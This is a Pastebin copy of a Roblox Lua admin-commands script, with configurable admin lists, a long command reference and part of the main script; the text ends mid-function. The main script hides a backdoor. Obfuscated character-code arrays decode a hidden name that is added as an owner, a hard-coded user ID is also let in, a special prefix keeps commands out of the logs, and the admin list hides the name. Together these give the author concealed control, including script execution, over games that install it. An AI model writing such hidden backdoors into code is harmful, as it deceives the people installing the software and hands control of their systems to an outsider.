Advertisement
ClockworkHorror

Khols Admin Commands.

Jun 29th, 2015
527
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 118.97 KB | None | 0 0
  1. -----------------------------------------------------------------------------------------
  2. -- Thanx for using mah admin script I'd appreciate credit if you used in your place c: --
  3. -----------------------------------------------------------------------------------------
  4. local owners = {"animeosophy","clone52","littlejellyfish234"} -- Are able to set admins who can ban/etc... using :pa name
  5. local admins = {"coolakbar","ImmortalHidan","iiMatty","Protracted"} -- Sets admins who can use ban/kick/admin or shutdown
  6. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  7. local banland = {} -- Permanently Bans people
  8. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  9. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  10. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  11. ---------------------
  12. -- VIP Admin --
  13. ---------------------
  14. local VipAdmin = false -- If someone can have admin for owning an item
  15. local ItemId = 0 -- The item they must own in order to have admin
  16. ---------------------
  17. -- Group Admin --
  18. ---------------------
  19. local GroupAdmin = false -- If a certain group can have admin
  20. local GroupId = 0 -- Sets the group id that can have admin
  21. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  22. ---------------------
  23. -- Tips and Tricks --
  24. ---------------------
  25. --[[
  26. With this admin you can do a command on multiple people at a time;
  27. :kill me,noob1,noob2,random,team-raiders,nonadmins
  28.  
  29. You can also use a variety commands for different people;
  30. all
  31. others
  32. me
  33. team-
  34. admins
  35. nonadmins
  36. random
  37. --]]
  38. ---------------------
  39. -- Commands --
  40. ---------------------
  41. --[[
  42. -- |Temp Admin Commands| --
  43. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  44. 1. :s print("Hello World") -- Lets you script normally
  45. 2. :ls print("Hello World") -- Lets you script in localscripts
  46. 3. :clear -- Will remove all scripts/localscripts and jails
  47. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  48. 5. :kill kohl -- Kills the player
  49. 6. :respawn kohl -- Respawns the player
  50. 7. :trip kohl -- Trips the player
  51. 8. :stun kohl -- Stuns the player
  52. 9. :unstun kohl -- Unstuns the player
  53. 10. :jump kohl -- Makes the player jump
  54. 11. :sit kohl -- Makes the player sit
  55. 12. :invisible kohl -- Makes the player invisible
  56. 13. :visible kohl -- Makes the player visible
  57. 14. :explode kohl -- Makes the player explode
  58. 15. :fire kohl -- Sets the player on fire
  59. 16. :unfire kohl -- Removes fire from the player
  60. 17. :smoke kohl -- Adds smoke to the player
  61. 18. :unsmoke kohl -- Removes smoke from the player
  62. 19. :sparkles kohl -- Adds sparkles to the player
  63. 20. :unsparkles kohl -- Removes sparkles from the player
  64. 21. :ff kohl -- Adds a forcefield to the player
  65. 22. :unff kohl -- Removes the forcefield from the player
  66. 23. :punish kohl -- Punishes the player
  67. 24. :unpunish kohl -- Unpunishes the player
  68. 25. :freeze kohl -- Freezes the player
  69. 26. :thaw kohl -- Thaws the player
  70. 27. :heal kohl -- Heals the player
  71. 28. :god kohl -- Makes the player have infinite health
  72. 29. :ungod kohl -- Makes the player have 100 health
  73. 30. :ambient .5 .5 .5 -- Changes the ambient
  74. 31. :brightness .5 -- Changes the brightness
  75. 32. :time 12 -- Changes the time
  76. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  77. 34. :fogend 100 -- Changes the fogend
  78. 35. :fogstart 100 -- Changes the fogstart
  79. 36. :removetools kohl -- Removes all tools from the player
  80. 37. :btools kohl -- Gives the player building tools
  81. 38. :give kohl sword -- Gives the player a tool
  82. 39. :damage kohl -- Damages the player
  83. 40. :grav kohl -- Sets the player's gravity to normal
  84. 41. :setgrav kohl 100 -- Sets the player's gravity
  85. 42. :nograv kohl -- Makes the player have 0 gravity
  86. 43. :health kohl 1337 -- Changes the player's health
  87. 44. :speed kohl 1337 -- Changes the player's walkspeed
  88. 45. :name kohl potato -- Changes the player's name
  89. 46. :unname kohl -- Remove the player's name
  90. 47. :team kohl Raiders -- Changes the player's team
  91. 48. :stopmusic -- Will stop all music playing in the server
  92. 49. :teleport kohl potato -- Teleports the player
  93. 50. :change kohl kills 1337 -- Changes a player's stat
  94. 51. :kick kohl -- Removes the player from the game
  95. 52. :infect kohl -- Turns the player into a zombie
  96. 53. :rainbowify kohl -- Turns the player into a rainbow
  97. 54. :flashify kohl -- Turns the player into a strobe
  98. 55. :noobify kohl -- Turns the player into a noob
  99. 56. :ghostify kohl -- Turns the player into a ghost
  100. 57. :goldify kohl -- Turns the player into gold
  101. 58. :shiny kohl -- Makes the player shiny
  102. 59. :normal kohl -- Puts the player back to normal
  103. 60. :trippy kohl -- Spams random colors on the player's screen
  104. 61. :untrippy kohl -- Untrippys the player
  105. 62. :strobe kohl -- Spams white and black on the player's screen
  106. 63. :unstrobe kohl -- Unstrobes the player
  107. 64. :blind kohl -- Blinds the player
  108. 65. :unblind kohl -- Unblinds the player
  109. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  110. 67. :fling kohl -- Flings the player
  111. 68. :seizure kohl -- Puts the player in a seizure
  112. 69. :music 1337 -- Plays a sound from the ID
  113. 70. :lock kohl -- Locks the player
  114. 71. :unlock kohl -- Unlocks the player
  115. 72. :removelimbs kohl -- Removes the player's limbs
  116. 73. :jail kohl -- Puts the player in a jail
  117. 74. :unjail kohl -- Removes the jail from the player
  118. 75. :fix -- This will fix the lighting to it's original settings
  119. 76. :fly kohl -- Makes the player fly
  120. 77. :unfly kohl -- Removes fly from the player
  121. 78. :noclip kohl -- Makes the player able to noclip
  122. 79. :clip kohl -- Removes noclipping from the player
  123. 80. :pm kohl Hey bro -- Sends the player a private message
  124. 81. :dog kohl -- Turns the player into a dog
  125. 82. :undog kohl -- Turns the player back to normal
  126. 83. :creeper kohl -- Turns the player into a creeper
  127. 84. :uncreeper kohl -- Turns the player back to normal
  128. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  129. 86. :char kohl 261 -- Will make a player look like a different player ID
  130. 87. :unchar kohl -- Will return the player back to normal
  131. 88. :h Hello People -- This will shout a hint to everyone
  132. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  133. 90. :starttools kohl -- Will give the player starter tools
  134. 91. :sword kohl -- Will give the player a sword
  135. 92. :bighead kohl -- Will make the player's head larger than normal
  136. 93. :minihead kohl -- Will make the player's head smaller than normal
  137. 94. :insert 1337 -- Will insert a model at the speaker's position
  138. 95. :disco -- Will make the server flash random colors
  139. 96. :flash -- Will make the server flash
  140. 97. :admins -- Shows the admin list
  141. 98. :bans -- Shows the banlist
  142. 99. :musiclist -- Shows the music list
  143. 100. :spin kohl -- Spins the player
  144. 101. :cape kohl Really black -- Gives the player a colored cape
  145. 102. :uncape kohl -- Removes the player's cape
  146. 103. :loopheal kohl -- Will constantly heal the player
  147. 104. :loopfling kohl -- Will constantly fling the player
  148. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  149. 106. :unloopheal kohl -- Will remove the loopheal on the player
  150. 107. :unloopfling kohl -- Will remove the loopfling on the player
  151. 108. :unspin kohl -- Removes spin from the player
  152. 109. :tools -- Gives a list of the tools in the lighting
  153. 110. :undisco -- Removes disco effects
  154. 111. :unflash -- Removes flash effects
  155. 112. :resetstats kohl -- Sets all the stats of a player to 0
  156. 113. :gear kohl 1337 -- Gives a player a gear
  157. 114. :cmdbar -- Gives the speaker a command bar
  158. 115. :shirt kohl 1337 -- Changes the player's shirt
  159. 116. :pants kohl 1337 -- Changes the player's pants
  160. 117. :face kohl 1337 -- Changes the player's face
  161. 118. :swagify kohl -- Swagifies the player
  162. 119. :version -- Shows the current version of the admin
  163. 120. :tm 1337 yolo -- Shows a message for 1337 seconds
  164. 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
  165. 122. :clone kohl -- Creates a clone of the player
  166. 123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
  167. 124. :startergive kohl epic -- Gives a player a gear in their starterpack
  168. 125. :control kohl -- Controls a player
  169.  
  170. -- |Admin Commands| --
  171. - :serverlock -- Locks the server
  172. - :serverunlock -- Unlocks the server
  173. - :sm Hello World -- Creates a system message
  174. - :crash kohl -- Crashes a player
  175. - :admin kohl -- Admins a player
  176. - :unadmin kohl -- Unadmins a player
  177. - :ban kohl -- Bans a player
  178. - :unban kohl -- Unbans a player
  179. - :loopkill kohl -- Will constantly kill the player
  180. - :unloopkill kohl -- Will remove the loopkill on the player
  181. - :logs -- Will show all of the commands any admin has used in a game session
  182. - :shutdown -- Shutsdown the server
  183.  
  184. -- |Owner Commands| --
  185. - :pa kohl -- Makes someone a super admin
  186. - :unpa kohl -- Removes a super admin
  187. - :nuke kohl -- Creates a nuke on kohl
  188.  
  189. -- |True Owner Commands| --
  190. - :oa kohl -- Makes someone an owner
  191. - :unoa kohl -- Removes an owner
  192. - :settings -- Shows settings for the commands
  193. --]]
  194. ---------------------
  195. -- Main Script --
  196. ---------------------
  197. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  198.  
  199. function CHEESE()
  200. if game:service("Lighting"):findFirstChild("KACV2") then
  201. owners = {} admins = {} tempadmins = {} banland = {}
  202. for i,v in pairs(game.Lighting.KACV2:children()) do
  203. if v.Name == "Owner" then table.insert(owners, v.Value) end
  204. if v.Name == "Admin" then table.insert(admins, v.Value) end
  205. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  206. if v.Name == "Banland" then table.insert(banland, v.Value) end
  207. if v.Name == "Prefix" then prefix = v.Value end
  208. if v.Name == "FunCommands" then FunCommands = v.Value end
  209. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  210. if v.Name == "GroupId" then GroupId = v.Value end
  211. if v.Name == "GroupRank" then GroupRank = v.Value end
  212. if v.Name == "VipAdmin" then VipAdmin = v.Value end
  213. if v.Name == "ItemId" then ItemId = v.Value end
  214. end
  215. game:service("Lighting"):findFirstChild("KACV2"):remove()
  216. end
  217.  
  218. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  219. local lobjs = {}
  220. local objects = {}
  221. local logs = {}
  222. local nfs = ""
  223. local slock = false
  224.  
  225. function GetTime()
  226. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  227. if min < 10 then min = "0"..min end
  228. return hour..":"..min
  229. end
  230.  
  231. function ChkOwner(str)
  232. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  233. return false
  234. end
  235.  
  236. function ChkAdmin(str,ck)
  237. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  238. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  239. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  240. return false
  241. end
  242.  
  243. function ChkGroupAdmin(plr)
  244. if GroupAdmin then
  245. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  246. return false
  247. end
  248. end
  249.  
  250. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  251.  
  252. function GetPlr(plr, str)
  253. local plrz = {} str = str:lower()
  254. if str == "all" then plrz = game.Players:children()
  255. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  256. else
  257. local sn = {1} local en = {}
  258. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  259. for x = 1, #sn do
  260. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  261. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  262. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  263. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  264. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  265. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  266. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  267. end end end
  268. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  269. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  270. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  271. end end end
  272. else
  273. for a, plyr in pairs(game.Players:children()) do
  274. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  275. table.insert(plrz, plyr) break
  276. end
  277. end
  278. end
  279. end
  280. end
  281. return plrz
  282. end
  283.  
  284. function Hint(str, plrz, time)
  285. for i, v in pairs(plrz) do
  286. if v and v:findFirstChild("PlayerGui") then
  287. coroutine.resume(coroutine.create(function()
  288. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  289. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  290. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  291. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  292. if not time then wait((#str/19)+2.5) else wait(time) end
  293. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
  294. end))
  295. end
  296. end
  297. end
  298.  
  299. function Message(ttl, str, scroll, plrz, time, PB)
  300. for i, v in pairs(plrz) do
  301. if v and v:findFirstChild("PlayerGui") or v.Name == "StarterGui"then
  302. coroutine.resume(coroutine.create(function()
  303. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  304. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  305. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  306. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  307. if PB == false then scr.Parent = v.PlayerGui
  308. else scr.Parent = plrz[1]
  309. end
  310. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  311. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  312. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  313. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
  314. end))
  315. end
  316. end
  317. end
  318.  
  319. function RemoveMessage()
  320. for i,v in pairs(game.Players:children()) do
  321. if v and v:findFirstChild("PlayerGui") then
  322. for q,ms in pairs(v.PlayerGui:children()) do
  323. if ms.Name == "MessageGUI" then
  324. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
  325. elseif ms.Name == "HintGUI" then
  326. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
  327. end
  328. end
  329. end
  330. end
  331. end
  332.  
  333. _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
  334. _G["RemoveMessage"] = RemoveMessage()
  335.  
  336. function Output(str, plr)
  337. coroutine.resume(coroutine.create(function()
  338. local b, e = loadstring(str)
  339. if not b and plr:findFirstChild("PlayerGui") then
  340. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  341. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  342. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  343. return
  344. end
  345. end))
  346. end
  347.  
  348. function Noobify(char)
  349. if char and char:findFirstChild("Torso") then
  350. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  351. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  352. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  353. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  354. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  355. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  356. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  357. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  358. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  359. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  360. end end
  361. end
  362. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  363.  
  364. function Infect(char)
  365. if char and char:findFirstChild("Torso") then
  366. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  367. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  368. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  369. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  370. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  371. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  372. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  373. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  374. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  375. end end
  376. end
  377. end if not ntab then script:Destroy() end
  378.  
  379. function ScrollGui()
  380. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  381. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  382. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  383. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  384. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  385. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  386. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  387. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  388. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  389. local num = 0
  390. local downv = false
  391. local upv = false
  392.  
  393. down.MouseButton1Down:connect(function() downv = true upv = false
  394. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  395. repeat pos = pos + UDim2.new(0,0,0,-6)
  396. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  397. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  398. end)
  399. down.MouseButton1Up:connect(function() downv = false end)
  400. up.MouseButton1Down:connect(function() upv = true downv = false
  401. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  402. repeat pos = pos + UDim2.new(0,0,0,6)
  403. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  404. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  405. end)
  406. up.MouseButton1Up:connect(function() upv = false end)
  407. return scr, cmf, ent, num
  408. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  409. if not ntab then script:Destroy() end
  410. if not bct then script:Destroy() end
  411.  
  412. function Chat(msg,plr)
  413. coroutine.resume(coroutine.create(function()
  414. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  415. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  416. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  417. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  418. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  419. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  420. if msg:lower() == "cmds" or msg:lower() == "commands" then
  421. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  422. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  423. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
  424. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  425. local ost = {"pa plr","unpa plr","nuke plr"}
  426. local tost = {"oa plr","unoa plr","settings"}
  427. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  428. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  429. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  430. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  431. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  432. end
  433.  
  434. if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
  435.  
  436. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  437. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  438. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  439. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
